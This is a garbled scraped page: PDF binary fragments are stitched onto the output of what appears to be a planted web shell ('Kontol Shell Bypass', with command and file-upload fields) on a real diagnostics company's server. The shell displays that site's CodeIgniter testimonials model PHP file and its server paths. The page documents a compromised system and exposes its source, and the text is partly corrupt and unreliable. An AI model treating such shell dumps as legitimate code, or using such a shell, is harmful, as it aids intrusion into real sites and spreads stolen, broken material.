%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/modules/admin/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/modules/admin/models/Testimonials_model.php
<?php

class Testimonials_model extends CI_Model
{

    public function __construct()
    {
        parent::__construct();
    }

    public function categoriesCount()
    {
        return $this->db->count_all_results('shop_categories');
    }
	
	/*
	* Function getTestsCategories
	*/
    public function getTestsCategories($limit = null, $start = null)
    {
        $limit_sql = '';
        if ($limit !== null && $start !== null) {
            $limit_sql = ' LIMIT ' . $start . ',' . $limit;
        }
        $query = $this->db->query('SELECT id, name, short_description, risk_image, position, status, createdon, modifiedon, is_deleted  FROM risk_categories WHERE is_deleted = "0" ORDER BY id Desc ' . $limit_sql);
        $arr = array();
        foreach ($query->result() as $tests_categorie) {
            $arr[$tests_categorie->for_id]['info'][] = array(
                 'name' => $tests_categorie->name,
				'short_description' => $tests_categorie->short_description
            );
            $arr[$tests_categorie->for_id]['risk_image'][] = $shop_categorie->risk_image;
            $arr[$tests_categorie->for_id]['status'] = $shop_categorie->status;
            $arr[$tests_categorie->for_id]['position'] = $shop_categorie->position;
        }
        return $query->result();
		
    }
	
	/*
	* Function getCoursesOffered
	*/
	
    public function getTestimonials($limit = null, $start = null)
    {
        $limit_sql = '';
        if ($limit !== null && $start !== null) {
            $limit_sql = ' LIMIT ' . $start . ',' . $limit;
        }

        $query = $this->db->query('SELECT * FROM testimonials WHERE display = "1" ORDER BY id Desc ' . $limit_sql);
        $arr = array();
        foreach ($query->result() as $tests_categorie) {
            $arr[$tests_categorie->for_id]['info'][] = array(
                 'id' => $tests_categorie->id,
                 'name' => $tests_categorie->name,
				 'description' => $tests_categorie->description
            );
            $arr[$tests_categorie->for_id]['image'][] = $shop_categorie->image;
            $arr[$tests_categorie->for_id]['city'][] = $shop_categorie->city;
            $arr[$tests_categorie->for_id]['display'] = $shop_categorie->display;
            $arr[$tests_categorie->for_id]['created_on'] = $shop_categorie->created_on;
        }
         return $query->result();	
    }
	
    public function getShopCategories($limit = null, $start = null)
    {
        $limit_sql = '';
        if ($limit !== null && $start !== null) {
            $limit_sql = ' LIMIT ' . $start . ',' . $limit;
        }

        $query = $this->db->query('SELECT translations_first.*, (SELECT name FROM shop_categories_translations WHERE for_id = sub_for AND 
		abbr = translations_first.abbr) as sub_is, shop_categories.position FROM shop_categories_translations as translations_first INNER JOIN 
		shop_categories ON shop_categories.id = translations_first.for_id ORDER BY position ASC ' . $limit_sql);
        $arr = array();
        foreach ($query->result() as $shop_categorie) {
            $arr[$shop_categorie->for_id]['info'][] = array(
                'abbr' => $shop_categorie->abbr,
                'name' => $shop_categorie->name
            );
            $arr[$shop_categorie->for_id]['sub'][] = $shop_categorie->sub_is;
            $arr[$shop_categorie->for_id]['position'] = $shop_categorie->position;
        }
        return $arr;
    }

    public function deleteItem($table,$id)
    {
        $this->db->trans_begin();
        $this->db->where('id', $id);
        if (!$this->db->delete($table)) {
            log_message('error', print_r($this->db->error(), true));
        }
    
        if ($this->db->trans_status() === FALSE) {
            $this->db->trans_rollback();
            show_error(lang('database_error'));
        } else {
            $this->db->trans_commit();
        }
    }
	
	
    public function setShopCategorie($params, $id = 0)
    {
       $id=$params['id'];
	
				if($id > 0){
					if(!$params['risk_image']){
					$params['risk_image']=$params['old_image'];
					unset($params['old_image']);
					} 
					else {
						unset($params['old_image']);						
					}
					if(!$this->db->where('id', $id)->update('risk_categories', $params                                            
                    )){
						print_r($this->db->error());die;
					log_message('error', print_r($this->db->error(), true));
					}						
				}
				else {
					if(!$this->db->insert('risk_categories', $params)){
					print_r($this->db->error());die;
					log_message('error', print_r($this->db->error(), true));
				}	
				}	
    }
	
	public function addedittestimonial($params ,$id=0 ){	
	//print_r($params);die;
	$id=$params['id'];
	
				if($id > 0){
					if(!$params['image']){
					$params['image']=$params['old_image'];
					unset($params['old_image']);
					} 
					else {
						unset($params['old_image']);						
					}
					$params['modified_on'] = date('Y-m-d');
					if(!$this->db->where('id', $id)->update('testimonials', $params                                            
                    )){
						print_r($this->db->error());die;
					log_message('error', print_r($this->db->error(), true));
					}						
				}
				else {
					$params['created_on'] = date('Y-m-d');
					if(!$this->db->insert('testimonials', $params)){
					print_r($this->db->error());die;
					log_message('error', print_r($this->db->error(), true));
				}
				//echo $this->db->last_query(); die;
				}				
	}	

	public function setCategory($post)
    {
			
            $i = 0;
            foreach ($_POST['translations'] as $translation) {
                if ($translation == MY_DEFAULT_LANGUAGE_ABBR) {
                    $myTranslationNum = $i;
                }
                $i++;
            }
            if (!$this->db->insert('shop_categories', array(
								'position' => '0'			
                    ))) {
                log_message('error', print_r($this->db->error(), true));
            }	
			
            $id = $this->db->insert_id();			          			              
        $this->setProductTranslation($post, $id, $is_update);
        if ($this->db->trans_status() === FALSE) {
            $this->db->trans_rollback();
            show_error(lang('database_error'));
        } else {
            $this->db->trans_commit();
        }
    }

    private function setProductTranslation($post, $id, $is_update)
    {
		
        $i = 0;
        $current_trans = $this->getTranslations($id);
        foreach ($post['translations'] as $abbr) {
            $arr = array();
            $emergency_insert = false;
            if (!isset($current_trans[$abbr])) {
                $emergency_insert = true;
            }
            $post['categorie_name'][$i] = str_replace('"', "'", $post['categorie_name'][$i]);           
            $arr = array(
                'name' => $post['categorie_name'][$i],                
                'for_id' => $id
            );
			
            if ($is_update === true && $emergency_insert === false) {
				
                $abbr = $arr['abbr'];
                unset($arr['for_id'], $arr['abbr'], $arr['url']);
                if (!$this->db->where('abbr', $abbr)->where('for_id', $id)->update('shop_categories_translations', $arr)) {					
                    log_message('error', print_r($this->db->error(), true));
                }
            } else {
                if (!$this->db->insert('shop_categories_translations', $arr)) {					
                    log_message('error', print_r($this->db->error(), true));
                }
            }
            $i++;
        }
    }

    public function getTranslations($id)
    {
        $this->db->where('for_id', $id);
        $query = $this->db->get('shop_categories_translations');
        $arr = array();
        foreach ($query->result() as $row) {
            $arr[$row->abbr]['categorie_name'] = $row->categorie_name;          
        }
        return $arr;
    }
	
    public function editShopCategorieSub($post)
    {
        $result = true;
        if ($post['editSubId'] != $post['newSubIs']) {
            $this->db->where('id', $post['editSubId']);
            if (!$this->db->update('shop_categories', array(
                        'sub_for' => $post['newSubIs']
                    ))) {
                log_message('error', print_r($this->db->error(), true));
                show_error(lang('database_error'));
            }
        } else {
            $result = false;
        }
        return $result;
    }

    public function editShopCategorie($post)
    {
        $this->db->where('abbr', $post['abbr']);
        $this->db->where('for_id', $post['for_id']);
        if (!$this->db->update('shop_categories_translations', array(
                    'name' => $post['name']
                ))) {
            log_message('error', print_r($this->db->error(), true));
            show_error(lang('database_error'));
        }
    }

    public function editShopCategoriePosition($post)
    {
        $this->db->where('id', $post['editid']);
        if (!$this->db->update('shop_categories', array(
                    'position' => $post['new_pos']
                ))) {
            log_message('error', print_r($this->db->error(), true));
            show_error(lang('database_error'));
        }
    }

	
	/*
	* Function : deleteRecords
	* Description : Delete Record
	*/
	public function deleteRecords($id, $field_name= 'id', $tbl_name='testimonials')
	{
        $this->db->where($field_name, $id);
		if (!$this->db->delete($tbl_name)) {
		    log_message('error', print_r($this->db->error(), true));
            show_error(lang('database_error'));
        }
    }
	
	/*
	* Function : getRecords
	* Description : Get all records details
	*/

	function getRecords( $id = NULL) {
		
		$this->db->select('*');
        $this->db->order_by('name', 'asc');
        $this->db->where('display', '1');
		if($id>0){
		 $this->db->where('id', $id);	
		}
		
        $queryResult = $this->db->get('testimonials');
		
		if ($id >0) {
            return $queryResult->row_array();
        } else {
            return $queryResult->result_array();
        }
	
	}
	
	/*
	* Function : setRecords
	* Description :  Insert Row in DB
	*/
	function setRecords($post, $tbl_name = 'testimonials') {
			
		unset($post['submit']);
		$post['id'] = $post['edit'];
		
		if ($post['id'] > 0) {
			$this->db->where('id', $post['id']);
			unset($post['edit']);
            unset($post['id']);
            unset($post['old_image']);
            if (!$this->db->update($tbl_name, $post)) {
				print_r($this->db->error());
                log_message('error', print_r($this->db->error(), true));
                show_error(lang('database_error'));
            }
			
        } else {
            unset($post['edit']);
            unset($post['id']);
	        if (!$this->db->insert($tbl_name, $post)) {
				print_r($this->db->error()); die;
                log_message('error', print_r($this->db->error(), true));
                show_error(lang('database_error'));
            }
	    }
	}
}

Kontol Shell Bypass